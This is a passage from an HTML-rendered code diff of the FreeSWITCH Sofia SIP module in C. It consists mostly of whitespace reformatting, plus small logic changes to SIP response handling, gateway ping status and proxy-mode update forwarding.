</del><ins>+                                                                if (switch_xml_locate(&quot;directory&quot;, NULL, NULL, NULL, &amp;xml_root, &amp;x_domains, xml_params, SWITCH_FALSE) ==
+                                                                        SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                                         for (x_domain_tag = switch_xml_child(x_domains, &quot;domain&quot;); x_domain_tag; x_domain_tag = x_domain_tag-&gt;next) {
</span><span class="cx">                                                                                 dname = switch_xml_attr_soft(x_domain_tag, &quot;name&quot;);
</span><span class="cx">                                                                                 parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
</span><span class="lines">@@ -3444,7 +3468,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_event_destroy(&amp;xml_params);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -3520,12 +3544,12 @@
</span><span class="cx">                         if (gateway-&gt;ping_count &lt; gateway-&gt;ping_max) {
</span><span class="cx">                                 gateway-&gt;ping_count++;
</span><span class="cx"> 
</span><del>-                                if (gateway-&gt;ping_count &gt;= 0) gateway-&gt;status = SOFIA_GATEWAY_UP;
</del><ins>+                                if (gateway-&gt;ping_count &gt;= 0)
+                                        gateway-&gt;status = SOFIA_GATEWAY_UP;
</ins><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</span><del>-                                        &quot;Ping succeeded %s with code %d - count %d/%d/%d, state %s\n&quot;,
-                                        gateway-&gt;name, status, gateway-&gt;ping_min, gateway-&gt;ping_count, gateway-&gt;ping_max,
-                                        status_names[gateway-&gt;status]);
</del><ins>+                                                                  &quot;Ping succeeded %s with code %d - count %d/%d/%d, state %s\n&quot;,
+                                                                  gateway-&gt;name, status, gateway-&gt;ping_min, gateway-&gt;ping_count, gateway-&gt;ping_max, status_names[gateway-&gt;status]);
</ins><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         if (gateway-&gt;state == REG_STATE_REGED) {
</span><span class="lines">@@ -3536,13 +3560,13 @@
</span><span class="cx">                         if (gateway-&gt;ping_count &gt; gateway-&gt;ping_min) {
</span><span class="cx">                                 gateway-&gt;ping_count--;
</span><span class="cx"> 
</span><del>-                                if (gateway-&gt;ping_count &lt;= 0) gateway-&gt;status = SOFIA_GATEWAY_DOWN;
</del><ins>+                                if (gateway-&gt;ping_count &lt;= 0)
+                                        gateway-&gt;status = SOFIA_GATEWAY_DOWN;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</span><del>-                                &quot;Ping failed %s with code %d - count %d/%d/%d, state %s\n&quot;,
-                                gateway-&gt;name, status, gateway-&gt;ping_min, gateway-&gt;ping_count, gateway-&gt;ping_max,
-                                status_names[gateway-&gt;status]);
</del><ins>+                                                          &quot;Ping failed %s with code %d - count %d/%d/%d, state %s\n&quot;,
+                                                          gateway-&gt;name, status, gateway-&gt;ping_min, gateway-&gt;ping_count, gateway-&gt;ping_max, status_names[gateway-&gt;status]);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 gateway-&gt;ping = switch_epoch_time_now(NULL) + gateway-&gt;ping_freq;
</span><span class="lines">@@ -3576,11 +3600,14 @@
</span><span class="cx">                 int network_port = 0;
</span><span class="cx">                 switch_caller_profile_t *caller_profile = NULL;
</span><span class="cx"> 
</span><del>-                sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+                sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx"> 
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;sip_reply_host&quot;, network_ip);
</span><span class="cx">                 switch_channel_set_variable_printf(channel, &quot;sip_reply_port&quot;, &quot;%d&quot;, network_port);
</span><del>-                
</del><ins>+
+                switch_channel_set_variable_printf(channel, &quot;sip_network_ip&quot;, &quot;%s&quot;, network_ip);
+                switch_channel_set_variable_printf(channel, &quot;sip_network_port&quot;, &quot;%d&quot;, network_port);
+
</ins><span class="cx">                 if ((caller_profile = switch_channel_get_caller_profile(channel))) {
</span><span class="cx">                         caller_profile-&gt;network_addr = switch_core_strdup(caller_profile-&gt;pool, network_ip);
</span><span class="cx">                 }
</span><span class="lines">@@ -3599,7 +3626,7 @@
</span><span class="cx">                                 if (switch_stristr(&quot;appearance&quot;, call_info)) {
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;presence_call_info_full&quot;, call_info);
</span><span class="cx">                                         if ((p = strchr(call_info, ';'))) {
</span><del>-                                                switch_channel_set_variable(channel, &quot;presence_call_info&quot;, p+1);
</del><ins>+                                                switch_channel_set_variable(channel, &quot;presence_call_info&quot;, p + 1);
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         } else if ((status == 180 || status == 183 || status == 200)) {
</span><span class="lines">@@ -3611,14 +3638,15 @@
</span><span class="cx">                                         state = &quot;progressing&quot;;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                if (sip &amp;&amp; 
</del><ins>+                                if (sip &amp;&amp;
</ins><span class="cx">                                         sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_url &amp;&amp; sip-&gt;sip_from-&gt;a_url-&gt;url_user &amp;&amp; sip-&gt;sip_from-&gt;a_url-&gt;url_host &amp;&amp;
</span><span class="cx">                                         sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_url &amp;&amp; sip-&gt;sip_to-&gt;a_url-&gt;url_user &amp;&amp; sip-&gt;sip_to-&gt;a_url-&gt;url_host) {
</span><del>-                                        sql = switch_mprintf(&quot;select 'appearance-index=1' from sip_subscriptions where expires &gt; -1 and hostname='%q' and event='call-info' and &quot;
-                                                                                 &quot;sub_to_user='%q' and sub_to_host='%q'&quot;, 
-                                                                                 mod_sofia_globals.hostname, sip-&gt;sip_to-&gt;a_url-&gt;url_user, sip-&gt;sip_from-&gt;a_url-&gt;url_host);
</del><ins>+                                        sql =
+                                                switch_mprintf(&quot;select 'appearance-index=1' from sip_subscriptions where expires &gt; -1 and hostname='%q' and event='call-info' and &quot;
+                                                                           &quot;sub_to_user='%q' and sub_to_host='%q'&quot;, mod_sofia_globals.hostname, sip-&gt;sip_to-&gt;a_url-&gt;url_user,
+                                                                           sip-&gt;sip_from-&gt;a_url-&gt;url_host);
</ins><span class="cx">                                         sofia_glue_execute_sql2str(profile, profile-&gt;ireg_mutex, sql, buf, sizeof(buf));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                         if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;QUERY SQL %s [%s]\n&quot;, sql, buf);
</span><span class="cx">                                         }
</span><span class="lines">@@ -3626,26 +3654,23 @@
</span><span class="cx"> 
</span><span class="cx">                                         if (!zstr(buf)) {
</span><span class="cx">                                                 sql = switch_mprintf(&quot;update sip_dialogs set call_info='%q',call_info_state='%q' &quot;
</span><del>-                                                                                         &quot;where uuid='%q'&quot;, buf, state, 
-                                                                                         switch_core_session_get_uuid(session));
</del><ins>+                                                                                         &quot;where uuid='%q'&quot;, buf, state, switch_core_session_get_uuid(session));
</ins><span class="cx"> 
</span><span class="cx">                                                 if (mod_sofia_globals.debug_sla &gt; 1) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;QUERY SQL %s\n&quot;, sql);
</span><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if ((status == 180 || status == 183 || status == 200)) { 
</del><ins>+                if ((status == 180 || status == 183 || status == 200)) {
</ins><span class="cx">                         const char *x_freeswitch_support;
</span><span class="cx"> 
</span><span class="cx">                         switch_channel_set_flag(channel, CF_MEDIA_ACK);
</span><span class="cx"> 
</span><del>-                        extract_vars(sip, session);
-                        
</del><span class="cx">                         if ((x_freeswitch_support = sofia_glue_get_unknown_header(sip, &quot;X-FS-Support&quot;))) {
</span><span class="cx">                                 tech_pvt-&gt;x_freeswitch_support_remote = switch_core_session_strdup(session, x_freeswitch_support);
</span><span class="cx">                         }
</span><span class="lines">@@ -3655,7 +3680,7 @@
</span><span class="cx">                         } else if (sip-&gt;sip_server &amp;&amp; sip-&gt;sip_server-&gt;g_string) {
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;sip_user_agent&quot;, sip-&gt;sip_server-&gt;g_string);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sofia_glue_set_extra_headers(channel, sip, SOFIA_SIP_PROGRESS_HEADER_PREFIX);
</span><span class="cx"> 
</span><span class="cx">                         sofia_update_callee_id(session, profile, sip, SWITCH_FALSE);
</span><span class="lines">@@ -3666,16 +3691,16 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel &amp;&amp; sip &amp;&amp; (status == 300 || status == 302 || status == 305) &amp;&amp; switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><del>-                        sip_contact_t * p_contact = sip-&gt;sip_contact;
</del><ins>+                        sip_contact_t *p_contact = sip-&gt;sip_contact;
</ins><span class="cx">                         int i = 0;
</span><del>-                        char var_name[80];        
</del><ins>+                        char var_name[80];
</ins><span class="cx">                         const char *diversion_header;
</span><span class="cx">                         char *full_contact = NULL;
</span><span class="cx">                         char *invite_contact;
</span><span class="cx">                         const char *br;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!p_contact) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Missing contact header in redirect request\n&quot;);
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -3688,7 +3713,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 const char *sip_redirect_profile, *sip_redirect_context, *sip_redirect_dialplan, *sip_redirect_fork;
</span><span class="cx"> 
</span><del>-                                if ((a_session = switch_core_session_locate(br)) &amp;&amp; (a_channel = switch_core_session_get_channel(a_session))) { 
</del><ins>+                                if ((a_session = switch_core_session_locate(br)) &amp;&amp; (a_channel = switch_core_session_get_channel(a_session))) {
</ins><span class="cx">                                         switch_stream_handle_t stream = { 0 };
</span><span class="cx">                                         char separator[2] = &quot;|&quot;;
</span><span class="cx">                                         char *redirect_dialstring;
</span><span class="lines">@@ -3708,7 +3733,7 @@
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         sip_redirect_fork = switch_channel_get_variable(channel, &quot;sip_redirect_fork&quot;);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_true(sip_redirect_fork)) {
</span><span class="cx">                                                 *separator = ',';
</span><span class="cx">                                         }
</span><span class="lines">@@ -3717,15 +3742,15 @@
</span><span class="cx">                                                 if (p_contact-&gt;m_url) {
</span><span class="cx">                                                         full_contact = sip_header_as_string(home, (void *) p_contact);
</span><span class="cx">                                                         invite_contact = sofia_glue_strip_uri(full_contact);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_snprintf(var_name, sizeof(var_name), &quot;sip_redirect_contact_%d&quot;, i);
</span><span class="cx">                                                         switch_channel_set_variable(a_channel, var_name, full_contact);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (i == 0) {
</span><span class="cx">                                                                 switch_channel_set_variable(channel, &quot;sip_redirected_to&quot;, full_contact);
</span><span class="cx">                                                                 switch_channel_set_variable(a_channel, &quot;sip_redirected_to&quot;, full_contact);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (p_contact-&gt;m_url-&gt;url_user) {
</span><span class="cx">                                                                 switch_snprintf(var_name, sizeof(var_name), &quot;sip_redirect_contact_user_%d&quot;, i);
</span><span class="cx">                                                                 switch_channel_set_variable(channel, var_name, p_contact-&gt;m_url-&gt;url_user);
</span><span class="lines">@@ -3741,7 +3766,7 @@
</span><span class="cx">                                                                 switch_channel_set_variable(channel, var_name, p_contact-&gt;m_url-&gt;url_params);
</span><span class="cx">                                                                 switch_channel_set_variable(a_channel, var_name, p_contact-&gt;m_url-&gt;url_params);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_snprintf(var_name, sizeof(var_name), &quot;sip_redirect_dialstring_%d&quot;, i);
</span><span class="cx">                                                         switch_channel_set_variable_printf(channel, var_name, &quot;sofia/%s/%s&quot;, sip_redirect_profile, invite_contact);
</span><span class="cx">                                                         switch_channel_set_variable_printf(a_channel, var_name, &quot;sofia/%s/%s&quot;, sip_redirect_profile, invite_contact);
</span><span class="lines">@@ -3750,28 +3775,29 @@
</span><span class="cx">                                                         i++;
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         redirect_dialstring = stream.data;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_channel_set_variable(channel, &quot;sip_redirect_dialstring&quot;, redirect_dialstring);
</span><span class="cx">                                         switch_channel_set_variable(a_channel, &quot;sip_redirect_dialstring&quot;, redirect_dialstring);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         p_contact = sip-&gt;sip_contact;
</span><span class="cx">                                         full_contact = sip_header_as_string(home, (void *) sip-&gt;sip_contact);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((diversion_header = sofia_glue_get_unknown_header(sip, &quot;diversion&quot;))) {
</span><span class="cx">                                                 switch_channel_set_variable(channel, &quot;sip_redirected_by&quot;, diversion_header);
</span><span class="cx">                                                 switch_channel_set_variable(a_channel, &quot;sip_redirected_by&quot;, diversion_header);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (sofia_test_pflag(profile, PFLAG_MANUAL_REDIRECT)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Redirect: Transfering to %s %s %s\n&quot;, 
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Redirect: Transfering to %s %s %s\n&quot;,
</ins><span class="cx">                                                                                   p_contact-&gt;m_url-&gt;url_user, sip_redirect_dialplan, sip_redirect_context);
</span><del>-                                                switch_ivr_session_transfer(a_session, p_contact-&gt;m_url-&gt;url_user, sip_redirect_dialplan, sip_redirect_context);                                        
</del><ins>+                                                switch_ivr_session_transfer(a_session, p_contact-&gt;m_url-&gt;url_user, sip_redirect_dialplan, sip_redirect_context);
</ins><span class="cx">                                         } else if ((!strcmp(profile-&gt;sipip, p_contact-&gt;m_url-&gt;url_host))
</span><span class="cx">                                                            || (profile-&gt;extsipip &amp;&amp; !strcmp(profile-&gt;extsipip, p_contact-&gt;m_url-&gt;url_host))
</span><span class="cx">                                                            || (switch_xml_locate_domain(p_contact-&gt;m_url-&gt;url_host, NULL, &amp;root, &amp;domain) == SWITCH_STATUS_SUCCESS)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Redirect: Transfering to %s\n&quot;, p_contact-&gt;m_url-&gt;url_user);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Redirect: Transfering to %s\n&quot;,
+                                                                                  p_contact-&gt;m_url-&gt;url_user);
</ins><span class="cx">                                                 switch_ivr_session_transfer(a_session, p_contact-&gt;m_url-&gt;url_user, NULL, NULL);
</span><span class="cx">                                                 switch_xml_free(root);
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -3779,7 +3805,7 @@
</span><span class="cx">                                                 tech_pvt-&gt;redirected = switch_core_session_strdup(session, invite_contact);
</span><span class="cx">                                                 free(invite_contact);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (home) {
</span><span class="cx">                                                 su_home_unref(home);
</span><span class="cx">                                                 home = NULL;
</span><span class="lines">@@ -3808,39 +3834,37 @@
</span><span class="cx"> 
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx"> 
</span><del>-                        if (!sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
-                                goto end;
-                        }
</del><ins>+                        if (sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
+                                sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
</ins><span class="cx"> 
</span><del>-                        sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
</del><ins>+                                if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) &amp;&amp; (other_session = switch_core_session_locate(uuid))) {
+                                        const char *r_sdp = NULL;
+                                        switch_core_session_message_t *msg;
</ins><span class="cx"> 
</span><del>-                        if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) &amp;&amp; (other_session = switch_core_session_locate(uuid))) {
-                                const char *r_sdp = NULL;
-                                switch_core_session_message_t *msg;
</del><ins>+                                        if (sip-&gt;sip_payload &amp;&amp; sip-&gt;sip_payload-&gt;pl_data &amp;&amp;
+                                                sip-&gt;sip_content_type &amp;&amp; sip-&gt;sip_content_type-&gt;c_subtype &amp;&amp; switch_stristr(&quot;sdp&quot;, sip-&gt;sip_content_type-&gt;c_subtype)) {
+                                                tech_pvt-&gt;remote_sdp_str = switch_core_session_strdup(tech_pvt-&gt;session, sip-&gt;sip_payload-&gt;pl_data);
+                                                r_sdp = tech_pvt-&gt;remote_sdp_str;
+                                                sofia_glue_tech_proxy_remote_addr(tech_pvt);
+                                        }
</ins><span class="cx"> 
</span><del>-                                if (sip-&gt;sip_payload &amp;&amp; sip-&gt;sip_payload-&gt;pl_data &amp;&amp;
-                                        sip-&gt;sip_content_type &amp;&amp; sip-&gt;sip_content_type-&gt;c_subtype &amp;&amp; switch_stristr(&quot;sdp&quot;, sip-&gt;sip_content_type-&gt;c_subtype)) {
-                                        tech_pvt-&gt;remote_sdp_str = switch_core_session_strdup(tech_pvt-&gt;session, sip-&gt;sip_payload-&gt;pl_data);
-                                        r_sdp = tech_pvt-&gt;remote_sdp_str;
-                                        sofia_glue_tech_proxy_remote_addr(tech_pvt);
-                                }
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Passing %d %s to other leg\n&quot;, status, phrase);
</ins><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Passing %d %s to other leg\n&quot;, status, phrase);
</del><ins>+                                        msg = switch_core_session_alloc(other_session, sizeof(*msg));
+                                        msg-&gt;message_id = SWITCH_MESSAGE_INDICATE_RESPOND;
+                                        msg-&gt;from = __FILE__;
+                                        msg-&gt;numeric_arg = status;
+                                        msg-&gt;string_arg = switch_core_session_strdup(other_session, phrase);
+                                        if (r_sdp) {
+                                                msg-&gt;pointer_arg = switch_core_session_strdup(other_session, r_sdp);
+                                                msg-&gt;pointer_arg_size = strlen(r_sdp);
+                                        }
</ins><span class="cx"> 
</span><del>-                                msg = switch_core_session_alloc(other_session, sizeof(*msg));
-                                msg-&gt;message_id = SWITCH_MESSAGE_INDICATE_RESPOND;
-                                msg-&gt;from = __FILE__;
-                                msg-&gt;numeric_arg = status;
-                                msg-&gt;string_arg = switch_core_session_strdup(other_session, phrase);
-                                if (r_sdp) {
-                                        msg-&gt;pointer_arg = switch_core_session_strdup(other_session, r_sdp);
-                                        msg-&gt;pointer_arg_size = strlen(r_sdp);
</del><ins>+                                        switch_core_session_queue_message(other_session, msg);
+                                        switch_core_session_rwunlock(other_session);
</ins><span class="cx">                                 }
</span><del>-
-                                switch_core_session_queue_message(other_session, msg);
-                                switch_core_session_rwunlock(other_session);
</del><ins>+                                goto end;
</ins><span class="cx">                         }
</span><del>-                        goto end;
</del><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if ((status == 180 || status == 183 || status == 200)) {
</span><span class="lines">@@ -3866,7 +3890,7 @@
</span><span class="cx">                                 const char *from_user = &quot;&quot;, *from_host = &quot;&quot;, *to_user = &quot;&quot;, *to_host = &quot;&quot;, *contact_user = &quot;&quot;, *contact_host = &quot;&quot;;
</span><span class="cx">                                 const char *user_agent = &quot;&quot;, *call_id = &quot;&quot;;
</span><span class="cx">                                 char *sql = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip-&gt;sip_user_agent) {
</span><span class="cx">                                         user_agent = switch_str_nil(sip-&gt;sip_user_agent-&gt;g_string);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3909,33 +3933,38 @@
</span><span class="cx">                                                                                  &quot;values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q','%q')&quot;,
</span><span class="cx">                                                                                  call_id,
</span><span class="cx">                                                                                  switch_core_session_get_uuid(session),
</span><del>-                                                                                 to_user, to_host, from_user, from_host, contact_user, 
</del><ins>+                                                                                 to_user, to_host, from_user, from_host, contact_user,
</ins><span class="cx">                                                                                  contact_host, astate, &quot;outbound&quot;, user_agent,
</span><span class="cx">                                                                                  profile-&gt;name, mod_sofia_globals.hostname, switch_str_nil(full_contact),
</span><span class="cx">                                                                                  switch_str_nil(presence_id), switch_str_nil(presence_data), switch_str_nil(p));
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_assert(sql);
</span><span class="cx"> 
</span><span class="cx">                                         sofia_glue_actually_execute_sql(profile, sql, profile-&gt;ireg_mutex);
</span><span class="cx">                                         switch_safe_free(sql);
</span><span class="cx"> 
</span><del>-                                }                                
</del><ins>+                                }
</ins><span class="cx">                         } else if (status == 200 &amp;&amp; (profile-&gt;pres_type)) {
</span><span class="cx">                                 char *sql = NULL;
</span><span class="cx">                                 const char *presence_data = switch_channel_get_variable(channel, &quot;presence_data&quot;);
</span><span class="cx">                                 const char *presence_id = switch_channel_get_variable(channel, &quot;presence_id&quot;);
</span><span class="cx"> 
</span><span class="cx">                                 sql = switch_mprintf(&quot;update sip_dialogs set state='%q',presence_id='%q',presence_data='%q' &quot;
</span><del>-                                                                         &quot;where uuid='%s';\n&quot;, astate, switch_str_nil(presence_id), switch_str_nil(presence_data), 
</del><ins>+                                                                         &quot;where uuid='%s';\n&quot;, astate, switch_str_nil(presence_id), switch_str_nil(presence_data),
</ins><span class="cx">                                                                          switch_core_session_get_uuid(session));
</span><span class="cx">                                 switch_assert(sql);
</span><span class="cx">                                 sofia_glue_execute_sql_now(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                         }
</span><ins>+
+                        extract_header_vars(profile, sip, session);
+                        extract_vars(profile, sip, session);
+                        sofia_glue_tech_track(tech_pvt-&gt;profile, session);
+                        sofia_clear_flag(tech_pvt, TFLAG_RECOVERING);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (call_info) {
</span><span class="cx">                 su_free(nua_handle_home(nh), call_info);
</span><span class="lines">@@ -3954,16 +3983,16 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_t *other_session = NULL, *session = (switch_core_session_t *) obj;
</span><span class="cx">         const char *uuid;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_core_session_read_lock(session) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                 private_object_t *tech_pvt = switch_core_session_get_private(session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) &amp;&amp; (other_session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         if (switch_core_session_compare(session, other_session)) {
</span><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><span class="cx">                                 switch_ivr_media(switch_core_session_get_uuid(other_session), SMF_REBRIDGE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (tech_pvt-&gt;rtp_session) {
</span><span class="cx">                                         switch_rtp_clear_flag(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3975,7 +4004,7 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_core_session_rwunlock(session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -4031,11 +4060,11 @@
</span><span class="cx">         if (status &gt; 100 &amp;&amp; status &lt; 300 &amp;&amp; tech_pvt &amp;&amp; !sofia_use_soa(tech_pvt) &amp;&amp; !r_sdp &amp;&amp; tech_pvt-&gt;last_sdp_str) {
</span><span class="cx">                 r_sdp = tech_pvt-&gt;last_sdp_str;
</span><span class="cx">         }
</span><del>-        
-        if ((channel &amp;&amp; (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA))) || 
</del><ins>+
+        if ((channel &amp;&amp; (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA))) ||
</ins><span class="cx">                 (sofia_test_flag(profile, TFLAG_INB_NOMEDIA) || sofia_test_flag(profile, TFLAG_PROXY_MEDIA))) {
</span><span class="cx"> 
</span><del>-                /* This marr in our code brought to you by people who can't read........*/
</del><ins>+                /* This marr in our code brought to you by people who can't read........ */
</ins><span class="cx">                 if (profile-&gt;ndlb &amp; PFLAG_NDLB_ALLOW_BAD_IANANAME &amp;&amp; r_sdp &amp;&amp; (p = (char *) switch_stristr(&quot;g729a/8000&quot;, r_sdp))) {
</span><span class="cx">                         p += 4;
</span><span class="cx">                         *p++ = '/';
</span><span class="lines">@@ -4053,12 +4082,12 @@
</span><span class="cx">                 if ((status == 300 || status == 302 || status == 305) &amp;&amp; session) {
</span><span class="cx">                         channel = switch_core_session_get_channel(session);
</span><span class="cx">                         tech_pvt = switch_core_session_get_private(session);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!tech_pvt || !tech_pvt-&gt;nh) {
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         if (tech_pvt-&gt;redirected) {
</span><span class="cx">                                 sofia_glue_do_invite(session);
</span><span class="cx">                                 goto done;
</span><span class="lines">@@ -4071,8 +4100,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (session) {
</span><del>-                if ((switch_channel_test_flag(channel, CF_EARLY_MEDIA) || switch_channel_test_flag(channel, CF_ANSWERED)) &amp;&amp; 
-                        (status == 180 || status == 183)) {
</del><ins>+                if ((switch_channel_test_flag(channel, CF_EARLY_MEDIA) || switch_channel_test_flag(channel, CF_ANSWERED)) &amp;&amp; (status == 180 || status == 183)) {
</ins><span class="cx">                         /* Must you send 180 after 183 w/sdp ? sheesh */
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Channel %s skipping state [%s][%d]\n&quot;,
</span><span class="cx">                                                           switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
</span><span class="lines">@@ -4081,11 +4109,11 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Channel %s entering state [%s][%d]\n&quot;,
</span><span class="cx">                                                   switch_channel_get_name(channel), nua_callstate_name(ss_state), status);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (r_sdp) {
</span><span class="cx">                         sdp_parser_t *parser;
</span><span class="cx">                         sdp_session_t *sdp;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(tech_pvt-&gt;remote_sdp_str) &amp;&amp; !strcmp(tech_pvt-&gt;remote_sdp_str, r_sdp)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Duplicate SDP\n%s\n&quot;, r_sdp);
</span><span class="cx">                                 is_dup_sdp = 1;
</span><span class="lines">@@ -4111,12 +4139,12 @@
</span><span class="cx"> 
</span><span class="cx">         if (status == 183 &amp;&amp; !r_sdp) {
</span><span class="cx">                 status = 180;
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         if (status == 180 &amp;&amp; r_sdp) {
</span><span class="cx">                 status = 183;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel &amp;&amp; (status == 180 || status == 183) &amp;&amp; switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="cx">                 const char *val;
</span><span class="cx">                 if ((val = switch_channel_get_variable(channel, &quot;sip_auto_answer&quot;)) &amp;&amp; switch_true(val)) {
</span><span class="lines">@@ -4134,8 +4162,8 @@
</span><span class="cx">         case nua_callstate_received:
</span><span class="cx">         case nua_callstate_proceeding:
